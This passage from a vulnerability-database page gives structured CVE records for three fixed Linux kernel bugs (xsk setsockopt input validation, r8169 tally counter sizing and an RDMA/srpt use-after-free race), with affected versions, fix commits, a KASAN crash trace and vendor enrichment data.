                  "versionEndExcluding": "6.8.7",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.18",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nxsk: validate user input for XDP_{UMEM|COMPLETION}_FILL_RING\n\nsyzbot reported an illegal copy in xsk_setsockopt() [1]\n\nMake sure to validate setsockopt() @optlen parameter.\n\n[1]\n\n BUG: KASAN: slab-out-of-bounds in copy_from_sockptr_offset include/linux/sockptr.h:49 [inline]\n BUG: KASAN: slab-out-of-bounds in copy_from_sockptr include/linux/sockptr.h:55 [inline]\n BUG: KASAN: slab-out-of-bounds in xsk_setsockopt+0x909/0xa40 net/xdp/xsk.c:1420\nRead of size 4 at addr ffff888028c6cde3 by task syz-executor.0/7549\n\nCPU: 0 PID: 7549 Comm: syz-executor.0 Not tainted 6.8.0-syzkaller-08951-gfe46a7dd189e #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 03/27/2024\nCall Trace:\n \u003cTASK\u003e\n  __dump_stack lib/dump_stack.c:88 [inline]\n  dump_stack_lvl+0x241/0x360 lib/dump_stack.c:114\n  print_address_description mm/kasan/report.c:377 [inline]\n  print_report+0x169/0x550 mm/kasan/report.c:488\n  kasan_report+0x143/0x180 mm/kasan/report.c:601\n  copy_from_sockptr_offset include/linux/sockptr.h:49 [inline]\n  copy_from_sockptr include/linux/sockptr.h:55 [inline]\n  xsk_setsockopt+0x909/0xa40 net/xdp/xsk.c:1420\n  do_sock_setsockopt+0x3af/0x720 net/socket.c:2311\n  __sys_setsockopt+0x1ae/0x250 net/socket.c:2334\n  __do_sys_setsockopt net/socket.c:2343 [inline]\n  __se_sys_setsockopt net/socket.c:2340 [inline]\n  __x64_sys_setsockopt+0xb5/0xd0 net/socket.c:2340\n do_syscall_64+0xfb/0x240\n entry_SYSCALL_64_after_hwframe+0x6d/0x75\nRIP: 0033:0x7fb40587de69\nCode: 28 00 00 00 75 05 48 83 c4 28 c3 e8 e1 20 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 c7 c1 b0 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007fb40665a0c8 EFLAGS: 00000246 ORIG_RAX: 0000000000000036\nRAX: ffffffffffffffda RBX: 00007fb4059abf80 RCX: 00007fb40587de69\nRDX: 0000000000000005 RSI: 000000000000011b RDI: 0000000000000006\nRBP: 00007fb4058ca47a R08: 0000000000000002 R09: 0000000000000000\nR10: 0000000020001980 R11: 0000000000000246 R12: 0000000000000000\nR13: 000000000000000b R14: 00007fb4059abf80 R15: 00007fff57ee4d08\n \u003c/TASK\u003e\n\nAllocated by task 7549:\n  kasan_save_stack mm/kasan/common.c:47 [inline]\n  kasan_save_track+0x3f/0x80 mm/kasan/common.c:68\n  poison_kmalloc_redzone mm/kasan/common.c:370 [inline]\n  __kasan_kmalloc+0x98/0xb0 mm/kasan/common.c:387\n  kasan_kmalloc include/linux/kasan.h:211 [inline]\n  __do_kmalloc_node mm/slub.c:3966 [inline]\n  __kmalloc+0x233/0x4a0 mm/slub.c:3979\n  kmalloc include/linux/slab.h:632 [inline]\n  __cgroup_bpf_run_filter_setsockopt+0xd2f/0x1040 kernel/bpf/cgroup.c:1869\n  do_sock_setsockopt+0x6b4/0x720 net/socket.c:2293\n  __sys_setsockopt+0x1ae/0x250 net/socket.c:2334\n  __do_sys_setsockopt net/socket.c:2343 [inline]\n  __se_sys_setsockopt net/socket.c:2340 [inline]\n  __x64_sys_setsockopt+0xb5/0xd0 net/socket.c:2340\n do_syscall_64+0xfb/0x240\n entry_SYSCALL_64_after_hwframe+0x6d/0x75\n\nThe buggy address belongs to the object at ffff888028c6cde0\n which belongs to the cache kmalloc-8 of size 8\nThe buggy address is located 1 bytes to the right of\n allocated 2-byte region [ffff888028c6cde0, ffff888028c6cde2)\n\nThe buggy address belongs to the physical page:\npage:ffffea0000a31b00 refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff888028c6c9c0 pfn:0x28c6c\nanon flags: 0xfff00000000800(slab|node=0|zone=1|lastcpupid=0x7ff)\npage_type: 0xffffffff()\nraw: 00fff00000000800 ffff888014c41280 0000000000000000 dead000000000001\nraw: ffff888028c6c9c0 0000000080800057 00000001ffffffff 0000000000000000\npage dumped because: kasan: bad access detected\npage_owner tracks the page as allocated\npage last allocated via order 0, migratetype Unmovable, gfp_mask 0x112cc0(GFP_USER|__GFP_NOWARN|__GFP_NORETRY), pid 6648, tgid 6644 (syz-executor.0), ts 133906047828, free_ts 133859922223\n  set_page_owner include/linux/page_owner.h:31 [inline]\n  post_alloc_hook+0x1ea/0x210 mm/page_alloc.c:1533\n  prep_new_page mm/page_alloc.c:\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:14:50.621Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/beb99266830520e15fbc6ca8cc5a5240d76851fd"
        },
        {
          "url": "https://git.kernel.org/stable/c/0b45c25d60e38f5c2cb6823f886773a34323306d"
        },
        {
          "url": "https://git.kernel.org/stable/c/a82984b3c6a7e8c7937dba6e857ddf829d149417"
        },
        {
          "url": "https://git.kernel.org/stable/c/f0a068de65d5b7358e9aff792716afa9333f3922"
        },
        {
          "url": "https://git.kernel.org/stable/c/2a523f14a3f53b46ff0e1fafd215b0bc5f6783aa"
        },
        {
          "url": "https://git.kernel.org/stable/c/b143e19dc28c3211f050f7848d87d9b0a170e10c"
        },
        {
          "url": "https://git.kernel.org/stable/c/2eb979fbb2479bcd7e049f2f9978b6590dd8a0e6"
        },
        {
          "url": "https://git.kernel.org/stable/c/237f3cf13b20db183d3706d997eedc3c49eacd44"
        }
      ],
      "title": "xsk: validate user input for XDP_{UMEM|COMPLETION}_FILL_RING",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35976",
    "datePublished": "2024-05-20T09:42:02.415Z",
    "dateReserved": "2024-05-17T13:50:33.143Z",
    "dateUpdated": "2026-05-12T11:53:21.943Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-49973 (GCVE-0-2024-49973)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:02 – Updated: 2026-05-12 12:13

Title

r8169: add tally counter fields added with RTL8125

Summary

In the Linux kernel, the following vulnerability has been resolved: r8169: add tally counter fields added with RTL8125 RTL8125 added fields to the tally counter, what may result in the chip dma'ing these new fields to unallocated memory. Therefore make sure that the allocated memory area is big enough to hold all of the tally counter values, even if we use only parts of it.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/64648ae8c97ec5a31…
https://git.kernel.org/stable/c/991e8b0bab669b7d0…
https://git.kernel.org/stable/c/21950321ad33d7613…
https://git.kernel.org/stable/c/fe44b3bfbf0c74df5…
https://git.kernel.org/stable/c/1c723d785adb71149…
https://git.kernel.org/stable/c/92bc8647b4d65f4d4…
https://git.kernel.org/stable/c/585c048d15ed559f2…
https://git.kernel.org/stable/c/ced8e8b8f40accfcc…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: f1bce4ad2f1cee6759711904b9fffe4a3dd8af87 , < 64648ae8c97ec5a3165021627f5a1658ebe081ca (git) Affected: f1bce4ad2f1cee6759711904b9fffe4a3dd8af87 , < 991e8b0bab669b7d06927c3e442b3352532e8581 (git) Affected: f1bce4ad2f1cee6759711904b9fffe4a3dd8af87 , < 21950321ad33d7613b1453f4c503d7b1871deb61 (git) Affected: f1bce4ad2f1cee6759711904b9fffe4a3dd8af87 , < fe44b3bfbf0c74df5712f44458689d0eccccf47d (git) Affected: f1bce4ad2f1cee6759711904b9fffe4a3dd8af87 , < 1c723d785adb711496bc64c24240f952f4faaabf (git) Affected: f1bce4ad2f1cee6759711904b9fffe4a3dd8af87 , < 92bc8647b4d65f4d4bf8afdb206321c1bc55a486 (git) Affected: f1bce4ad2f1cee6759711904b9fffe4a3dd8af87 , < 585c048d15ed559f20cb94c8fa2f30077efa4fbc (git) Affected: f1bce4ad2f1cee6759711904b9fffe4a3dd8af87 , < ced8e8b8f40accfcce4a2bbd8b150aa76d5eff9a (git)
Linux	Linux	Affected: 5.4 Unaffected: 0 , < 5.4 (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.55 , ≤ 6.6.* (semver) Unaffected: 6.10.14 , ≤ 6.10.* (semver) Unaffected: 6.11.3 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-49973",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:33:30.477812Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:38:45.854Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:23:53.307Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:13:50.940Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/realtek/r8169_main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "64648ae8c97ec5a3165021627f5a1658ebe081ca",
              "status": "affected",
              "version": "f1bce4ad2f1cee6759711904b9fffe4a3dd8af87",
              "versionType": "git"
            },
            {
              "lessThan": "991e8b0bab669b7d06927c3e442b3352532e8581",
              "status": "affected",
              "version": "f1bce4ad2f1cee6759711904b9fffe4a3dd8af87",
              "versionType": "git"
            },
            {
              "lessThan": "21950321ad33d7613b1453f4c503d7b1871deb61",
              "status": "affected",
              "version": "f1bce4ad2f1cee6759711904b9fffe4a3dd8af87",
              "versionType": "git"
            },
            {
              "lessThan": "fe44b3bfbf0c74df5712f44458689d0eccccf47d",
              "status": "affected",
              "version": "f1bce4ad2f1cee6759711904b9fffe4a3dd8af87",
              "versionType": "git"
            },
            {
              "lessThan": "1c723d785adb711496bc64c24240f952f4faaabf",
              "status": "affected",
              "version": "f1bce4ad2f1cee6759711904b9fffe4a3dd8af87",
              "versionType": "git"
            },
            {
              "lessThan": "92bc8647b4d65f4d4bf8afdb206321c1bc55a486",
              "status": "affected",
              "version": "f1bce4ad2f1cee6759711904b9fffe4a3dd8af87",
              "versionType": "git"
            },
            {
              "lessThan": "585c048d15ed559f20cb94c8fa2f30077efa4fbc",
              "status": "affected",
              "version": "f1bce4ad2f1cee6759711904b9fffe4a3dd8af87",
              "versionType": "git"
            },
            {
              "lessThan": "ced8e8b8f40accfcce4a2bbd8b150aa76d5eff9a",
              "status": "affected",
              "version": "f1bce4ad2f1cee6759711904b9fffe4a3dd8af87",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/realtek/r8169_main.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.4"
            },
            {
              "lessThan": "5.4",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.14",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.14",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.3",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "5.4",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nr8169: add tally counter fields added with RTL8125\n\nRTL8125 added fields to the tally counter, what may result in the chip\ndma\u0027ing these new fields to unallocated memory. Therefore make sure\nthat the allocated memory area is big enough to hold all of the\ntally counter values, even if we use only parts of it."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:43:07.153Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/64648ae8c97ec5a3165021627f5a1658ebe081ca"
        },
        {
          "url": "https://git.kernel.org/stable/c/991e8b0bab669b7d06927c3e442b3352532e8581"
        },
        {
          "url": "https://git.kernel.org/stable/c/21950321ad33d7613b1453f4c503d7b1871deb61"
        },
        {
          "url": "https://git.kernel.org/stable/c/fe44b3bfbf0c74df5712f44458689d0eccccf47d"
        },
        {
          "url": "https://git.kernel.org/stable/c/1c723d785adb711496bc64c24240f952f4faaabf"
        },
        {
          "url": "https://git.kernel.org/stable/c/92bc8647b4d65f4d4bf8afdb206321c1bc55a486"
        },
        {
          "url": "https://git.kernel.org/stable/c/585c048d15ed559f20cb94c8fa2f30077efa4fbc"
        },
        {
          "url": "https://git.kernel.org/stable/c/ced8e8b8f40accfcce4a2bbd8b150aa76d5eff9a"
        }
      ],
      "title": "r8169: add tally counter fields added with RTL8125",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-49973",
    "datePublished": "2024-10-21T18:02:21.696Z",
    "dateReserved": "2024-10-21T12:17:06.051Z",
    "dateUpdated": "2026-05-12T12:13:50.940Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26872 (GCVE-0-2024-26872)

Vulnerability from cvelistv5 – Published: 2024-04-17 10:27 – Updated: 2026-05-12 11:49

Title

RDMA/srpt: Do not register event handler until srpt device is fully setup

Summary

In the Linux kernel, the following vulnerability has been resolved: RDMA/srpt: Do not register event handler until srpt device is fully setup Upon rare occasions, KASAN reports a use-after-free Write in srpt_refresh_port(). This seems to be because an event handler is registered before the srpt device is fully setup and a race condition upon error may leave a partially setup event handler in place. Instead, only register the event handler after srpt device initialization is complete.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/bdd895e0190c464f5…
https://git.kernel.org/stable/c/6413e78086caf7bf1…
https://git.kernel.org/stable/c/e362d007294955a4f…
https://git.kernel.org/stable/c/85570b91e4820a0db…
https://git.kernel.org/stable/c/7104a00fa37ae898a…
https://git.kernel.org/stable/c/ec77fa12da41260c6…
https://git.kernel.org/stable/c/c21a8870c98611e8f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a42d985bd5b234da8b61347a78dc3057bf7bb94d , < bdd895e0190c464f54f84579e7535d80276f0fc5 (git) Affected: a42d985bd5b234da8b61347a78dc3057bf7bb94d , < 6413e78086caf7bf15639923740da0d91fdfd090 (git) Affected: a42d985bd5b234da8b61347a78dc3057bf7bb94d , < e362d007294955a4fb929e1c8978154a64efdcb6 (git) Affected: a42d985bd5b234da8b61347a78dc3057bf7bb94d , < 85570b91e4820a0db9d9432098778cafafa7d217 (git) Affected: a42d985bd5b234da8b61347a78dc3057bf7bb94d , < 7104a00fa37ae898a827381f1161fa3286c8b346 (git) Affected: a42d985bd5b234da8b61347a78dc3057bf7bb94d , < ec77fa12da41260c6bf9e060b89234b980c5130f (git) Affected: a42d985bd5b234da8b61347a78dc3057bf7bb94d , < c21a8870c98611e8f892511825c9607f1e2cd456 (git)
Linux	Linux	Affected: 3.3 Unaffected: 0 , < 3.3 (semver) Unaffected: 5.10.214 , ≤ 5.10.* (semver) Unaffected: 5.15.153 , ≤ 5.15.* (semver) Unaffected: 6.1.83 , ≤ 6.1.* (semver) Unaffected: 6.6.23 , ≤ 6.6.* (semver) Unaffected: 6.7.11 , ≤ 6.7.* (semver) Unaffected: 6.8.2 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26872",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-28T19:53:54.471645Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:48:33.197Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:04.204Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/bdd895e0190c464f54f84579e7535d80276f0fc5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/6413e78086caf7bf15639923740da0d91fdfd090"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e362d007294955a4fb929e1c8978154a64efdcb6"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/85570b91e4820a0db9d9432098778cafafa7d217"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7104a00fa37ae898a827381f1161fa3286c8b346"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ec77fa12da41260c6bf9e060b89234b980c5130f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c21a8870c98611e8f892511825c9607f1e2cd456"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:47.495Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/infiniband/ulp/srpt/ib_srpt.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "bdd895e0190c464f54f84579e7535d80276f0fc5",
              "status": "affected",
              "version": "a42d985bd5b234da8b61347a78dc3057bf7bb94d",
              "versionType": "git"
            },
            {
              "lessThan": "6413e78086caf7bf15639923740da0d91fdfd090",
              "status": "affected",
              "version": "a42d985bd5b234da8b61347a78dc3057bf7bb94d",
              "versionType": "git"
            },
            {
              "lessThan": "e362d007294955a4fb929e1c8978154a64efdcb6",
              "status": "affected",
              "version": "a42d985bd5b234da8b61347a78dc3057bf7bb94d",
              "versionType": "git"
            },
            {
              "lessThan": "85570b91e4820a0db9d9432098778cafafa7d217",
              "status": "affected",
              "version": "a42d985bd5b234da8b61347a78dc3057bf7bb94d",
              "versionType": "git"
            },
            {
              "lessThan": "7104a00fa37ae898a827381f1161fa3286c8b346",
              "status": "affected",
              "version": "a42d985bd5b234da8b61347a78dc3057bf7bb94d",
              "versionType": "git"
            },
            {
              "lessThan": "ec77fa12da41260c6bf9e060b89234b980c5130f",
              "status": "affected",
              "version": "a42d985bd5b234da8b61347a78dc3057bf7bb94d",
              "versionType": "git"
            },
            {
              "lessThan": "c21a8870c98611e8f892511825c9607f1e2cd456",
              "status": "affected",
              "version": "a42d985bd5b234da8b61347a78dc3057bf7bb94d",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/infiniband/ulp/srpt/ib_srpt.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.3"
            },
            {
              "lessThan": "3.3",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/srpt: Do not register event handler until srpt device is fully setup\n\nUpon rare occasions, KASAN reports a use-after-free Write\nin srpt_refresh_port().\n\nThis seems to be because an event handler is registered before the\nsrpt device is fully setup and a race condition upon error may leave a\npartially setup event handler in place.\n\nInstead, only register the event handler after srpt device initialization\nis complete."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:05:46.067Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/bdd895e0190c464f54f84579e7535d80276f0fc5"
        },
        {
          "url": "https://git.kernel.org/stable/c/6413e78086caf7bf15639923740da0d91fdfd090"
        },
        {
          "url": "https://git.kernel.org/stable/c/e362d007294955a4fb929e1c8978154a64efdcb6"
        },
        {
          "url": "https://git.kernel.org/stable/c/85570b91e4820a0db9d9432098778cafafa7d217"
        },
        {
          "url": "https://git.kernel.org/stable/c/7104a00fa37ae898a827381f1161fa3286c8b346"
        },
        {
          "url": "https://git.kernel.org/stable/c/ec77fa12da41260c6bf9e060b89234b980c5130f"
        },
        {
          "url": "https://git.kernel.org/stable/c/c21a8870c98611e8f892511825c9607f1e2cd456"
        }
      ],
      "title": "RDMA/srpt: Do not register event handler until srpt device is fully setup",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
